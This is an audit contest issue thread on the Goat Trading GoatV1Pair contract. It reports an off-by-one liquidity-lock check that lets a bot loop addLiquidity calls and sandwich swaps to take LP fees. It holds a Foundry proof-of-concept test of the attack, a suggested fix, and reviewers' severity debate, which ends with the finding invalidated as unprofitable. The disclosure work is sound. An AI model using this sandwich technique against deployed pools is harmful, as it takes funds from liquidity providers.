santiellena - Incorrect check of locked liquidity on `GoatV1Pair::_beforeTokenTransfer` lets bots snipe LP fees

[sherlock-admin2]

santiellena

high

Incorrect check of locked liquidity on GoatV1Pair::_beforeTokenTransfer lets bots snipe LP fees

Summary

A malicious user could sandwich swaps and steal LPs fees because of an incorrect check of locked liquidity on GoatV1Pair::_beforeTokenTransfer. The attacker can addLiquidity, earn fees, removeLiquidity, and withdraw fees earned within the same block.

Vulnerability Detail

On GoatV1ERC20 (GoatV1Pair) when liquidity is minted, depending on the amount being minted, the liquidity is locked for a period of time.

https://github.com/sherlock-audit/2024-03-goat-trading/blob/beb09519ad0c0ec0fdf5b96060fe5e4aafd71cff/goat-trading/contracts/exchange/GoatV1ERC20.sol#L34-L43

        uint32 lockUntil;
        if (_value > _totalSupply) {
            lockUntil = uint32(block.timestamp + _TWO_DAYS);
        } else {
            lockUntil = uint32(block.timestamp + ((_value * _TWO_DAYS) / _totalSupply));
        }

        if (lockUntil > _locked[_to]) {
            _locked[_to] = lockUntil;
        }

However, lockUntil can be block.timestamp if ((_value * _TWO_DAYS) / _totalSupply)) == 0 . This, because of an incorrect check on the GoatV1Pair::_beforeTokenTransfer function, lets a attacker sandwich swaps and make a profit out of it, stealing LPs profit.

The incorrect check is the following: https://github.com/sherlock-audit/2024-03-goat-trading/blob/beb09519ad0c0ec0fdf5b96060fe5e4aafd71cff/goat-trading/contracts/exchange/GoatV1Pair.sol#L917-L919

        if (_locked[from] > timestamp) {
            revert GoatErrors.LiquidityLocked();
        }

Here, if _locked[from] == timestamp, the execution won't revert.

The attacker could addLiquidity calculating that the liquidity minted times _TWO_DAYS is less than _totalSupply, so the division truncates and rounds down to zero, and execute addLiquidity that way many times in a single transaction. This will let the attacker add a ton of liquidity without locking its LP tokens more than block.timestamp.

After the swap, the attacker earned fees unfairly, and can claim them and remove the liquidity that provided.

Add the following test to test/foundry/periphery/GoatV1Router.t.sol and run forge test --mt testSnipingLpFeesOnAmm -vvv --via-ir:

function testSnipingLpFeesOnAmm() public {
        // Setting up the test
        _addLiquidityAndConvertToAmm();
        GoatV1Pair pair = GoatV1Pair(factory.getPool(address(token)));
        weth.transfer(swapper, 5e18);

        vm.startPrank(swapper);
        weth.approve(address(router), type(uint256).max);
        router.swapWethForExactTokens(5e18, 0, address(token), swapper, block.timestamp);
        vm.stopPrank();

        vm.warp(block.timestamp + 2 days);

        address sniperBot = makeAddr("sniper-bot");

        vm.startPrank(sniperBot);

        // Funding bot
        vm.deal(sniperBot, 200 ether);
        weth.deposit{value: 200 ether}();
        token.mint(sniperBot, 200 ether);

        weth.approve(address(router), type(uint256).max);
        token.approve(address(router), type(uint256).max);

        // Adding liquidity front-running swap
        // The bigger the swap, the more profitable

        uint256 balanceWethBefore = weth.balanceOf(sniperBot);
        uint256 balanceTokenBefore = token.balanceOf(sniperBot);

        uint256 liquidity = 0;
        {
            uint256 supply = pair.totalSupply();
            uint256 maxValue = (supply / 2 days) - 1;
            (uint256 wethReserve, uint256 tokenReserve) = pair.getReserves();

            uint256 wethToAdd = maxValue * wethReserve / supply;
            uint256 tokenToAdd = GoatLibrary.quote(wethToAdd, wethReserve, tokenReserve);

            GoatTypes.InitParams memory initParams = GoatTypes.InitParams(0, 0, 0, 0);
            for (uint256 i = 0; i < 100; ++i) {
                (,, uint256 liquidityAdded) = router.addLiquidity(
                    address(token), tokenToAdd, wethToAdd, 0, 0, sniperBot, block.timestamp, initParams
                );

                liquidity += liquidityAdded;
            }
        }
        vm.stopPrank();

        // Sandwiched swap
        vm.startPrank(swapper);
        token.approve(address(router), 5e18);
        router.swapExactTokensForWeth(
            5e18,
            0, // no slippage protection for now
            address(token),
            swapper,
            block.timestamp
        );
        vm.stopPrank();

        // Remove liquidity back-running swap
        vm.startPrank(sniperBot);

        pair.approve(address(router), liquidity);
        router.removeLiquidity(address(token), liquidity, 0, 0, sniperBot, block.timestamp);
        uint256 earned = pair.earned(sniperBot);
        pair.withdrawFees(sniperBot);

        vm.stopPrank();

        uint256 balanceWethAfter = weth.balanceOf(sniperBot);
        uint256 balanceTokenAfter = token.balanceOf(sniperBot);

        assert(earned > 0);
        /*
        The following two checks depend on the direction the sandwiched swap was made.
        Because of impermanent loss, the sniper bot will remove liquidity and have a different
        tokens proportion. If the bot swaps the excedent, it will recover its initial funds + profit.
        */
        // assert(balanceWethAfter > balanceWethBefore);
        assert(balanceTokenAfter > balanceTokenBefore);
    }

Impact

An attacker can perform a sandwich attack on swaps to make an profit from the LPs fees. This effectively steals funds away from other legitimate LPs of the protocol.

Code Snippet

https://github.com/sherlock-audit/2024-03-goat-trading/blob/beb09519ad0c0ec0fdf5b96060fe5e4aafd71cff/goat-trading/contracts/exchange/GoatV1Pair.sol#L886-L926 https://github.com/sherlock-audit/2024-03-goat-trading/blob/beb09519ad0c0ec0fdf5b96060fe5e4aafd71cff/goat-trading/contracts/exchange/GoatV1ERC20.sol#L33-L49

Tool used

Manual Review

Recommendation

Modify the check on GoatV1Pair::_beforeTokenTransfer so if tokens are locked for that timestamp, it will revert.

- if (_locked[from] > timestamp) {
+ if (_locked[from] >= timestamp) {
      revert GoatErrors.LiquidityLocked();
  }

Although this modification improves the security against this type of attack, depending on the chain the protocol will be deployed, it can be effective or not. There are two possible additional mitigations:

1) Do not allow multiple calls to mint on the same block.timestamp.

2) Consider adding a minimum amount of seconds as lock for pair tokens. To mitigate a possible DoS to LPs this can cause, consider adding checks on GoatV1Router on functions that add liquidity and on the mint function in GoatV1Pair, just allowing the sender to mint tokens for itself and not for others.

[santiellena]

Escalate

This issue has been marked incorrectly as duplicate of #74. Here, the root cause and impact are completely different. Check the PoC provided. Thanks!

[sherlock-admin2]

Escalate

This issue has been marked incorrectly as duplicate of #74. Here, the root cause and impact are completely different. Check the PoC provided. Thanks!

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[cvetanovv]

I would agree it's not a duplicate and at first look seems to be a valid issue. However, the chance ((_value * _TWO_DAYS) / _totalSupply)) = 0 is extremely small, making the report Low.

[santiellena]

@cvetanovv Thanks for the answer!

I believe you are missing something when you say: "the chance ((_value * _TWO_DAYS) / _totalSupply)) = 0 is extremely small". This issue is a turn of the screw of the traditional sandwich attack to steal liquidity providers fees. You say that the chance is extremely small but I showed in the PoC that the chance is 100% because the parameter _value is controlled by the attacker.

An attacker will execute a single transaction right before the swap to deposit a BIG amount of tokens, and then a second one of course to remove liquidity. However, if the depositor does that in a single call to the mint function the following piece of code will lock the funds:

        uint32 lockUntil;
        if (_value > _totalSupply) {
            lockUntil = uint32(block.timestamp + _TWO_DAYS);
        } else {
            lockUntil = uint32(block.timestamp + ((_value * _TWO_DAYS) / _totalSupply));
        }

        if (lockUntil > _locked[_to]) {
            _locked[_to] = lockUntil;
        }

Note that the _value parameter is the amount of liquidity tokens that will be minted to the attacker. This means that by controlling the amounts of WETH and the other token of the pair I send to the pair contract, I can control the liquidity is going to be minted to the attacker. Hence, the chance is 100%.

Now, you could think that the amount of liquidity minted would be so small that the attacker couldn't steal a meaningful amount of fees. However, there is a way (again, check the PoC). The attacker could execute the mint function controlling the previously mentioned values so it doesn't get locked in a loop, and because of there are no restrictions in doing that, the user could execute the mint function several times till the amount of liquidity minted will receive a significant amount of fees.

Then, the attacker will just remove the liquidity provided right after the big swap occurred, and withdraw the fees accrued. All in just one block with zero risks associated. An attack of this kind would be even more dangerous in L2s because of lower gas prices.

Therefore, the chance is 100%, is not dependent in any external condition and does cause a loss of funds.

I would appreciate a second look at this issue. Thanks again!

[cvetanovv]

@santiellena I think you are right and maybe it is a valid issue. @chiranz What do you think?

[chiranz]

Yes this is a valid issue but the biggest question here is can this be a profitable sandwich for the user? Especially the gas fees user will be paying.. @RobertMCForster What do you think?

[RobertMCForster]

While we don't believe this would be very damaging to users, and therefore not a high severity issue, we do believe it qualifies as a medium because it's not a negligible impact and is bypassing our explicit protections against this type of activity.

[cvetanovv]

So we can accept @santiellena escalation to remove the duplication and make it unique Medium.

[chiranz]

Please do..

[Evert0x]

Result: Medium Unique

[sherlock-admin4]

Escalations have been resolved successfully!

Escalation status:

• santiellena: accepted

[zzykxx]

@Evert0x the attack described here of looping the mint() by sending an amount of tokens _value such that ((_value * _TWO_DAYS) / _totalSupply) == 0 is never profitable (or never profitable enough).

The profit shown in the POC on a swap that yields ~0.429ETH after looping the addLiquidity() function for 100 times is ~0.000000994ETH = ~0.0029$.

Every addLiquidity() call costs 29399 gas according to the POC and foundry, that would mean a total cost of 29399*100 = 2_939_900 in gas to sandwich a swap transaction where the maximum expected earnings are ~0.0029$.

[cvetanovv]

The issue itself and the attack are valid but I hadn't thought that because of the spent Gas, the attack is not profitable. So I think we can change it to Low.

[adamidarrha]

@cvetanovv @Evert0x, I believe that the severity of the issue should be considered low since it's not profitable for any attacker given the current implementation of twoDays lock duration.

The issue, as described by @santiellena , is that it's possible to manipulate the lockUntil parameter to round down to 0, allowing for immediate withdrawal of funds. This is due to how lockUntil is calculated:

• twoDays is defined as 172,800.
• To round down, you would need an lpAmount that is 1/172,800 of the total supply:
  1. lockUntil = (lpMinted * 172,800) / total_supply
  2. For lockUntil to round down, it must be that lpMinted * 172,800 < total_supply
  3. Thus, lpMinted < total_supply / 172,800

This means an attacker would need to mint an lpAmount less than 1/172,800 of the total supply. Considering the rewards structure:

• Owning a x% share of LP tokens results in less than x% share of the rewards. Specifically, the attacker would only be able to claim 5.791707×10^−6% of the total supply as their reward share, which is minuscule and economically insignificant.

Furthermore, for the attacker to accrue a significant share of the rewards, such as 25%, they would need to own 25% of the total supply. This would require them to perform the addLiquidity action 43,200 times, given 172,800/4 = 43,200. However:

1. The gas cost per addLiquidity transaction, as noted by @zzykxx , is 29,399 gas units. Given the current gas price of 9 gwei in ethereum, the cost per transaction is approximately $0.82.
2. To break even on a single transaction, considering a hypothetical LP fee of 1% (versus the actual much lower rate of 0.00396%), the swap value during a sandwich attack would need to be around $14,169,600, which is an absurdly high threshold.(it's gotten through solving this equation "0.01 * x(swap value in dollars) / 172_800 >= 0.82")

• Additionally, concerning the concerns about rewards being susceptible to frontrunning deposits and backrunning, it's essential to note that, unlike some other issues about stakers who might accrue rewards without exposure to the protocol's risks, the attacker here is actively providing liquidity. This action is beneficial to the protocol and swappers as it reduces slippage. Moreover, this attacker remains exposed to common liquidity risks, such as impermanent loss although for a much shorter time, further diminishing the attractiveness and feasibility of the attack.

In conclusion, the potential gains from this attack do not outweigh the costs, and there is minimal risk to other LPs and the protocol overall. Although it's a nice finding and i like it and the protocol should be aware of the impact of changing the lockDuration basically making this attack more viable, it should be invalidated.

[Evert0x]

After a conversation with the issue submitter, they agreed to invalidate the issue.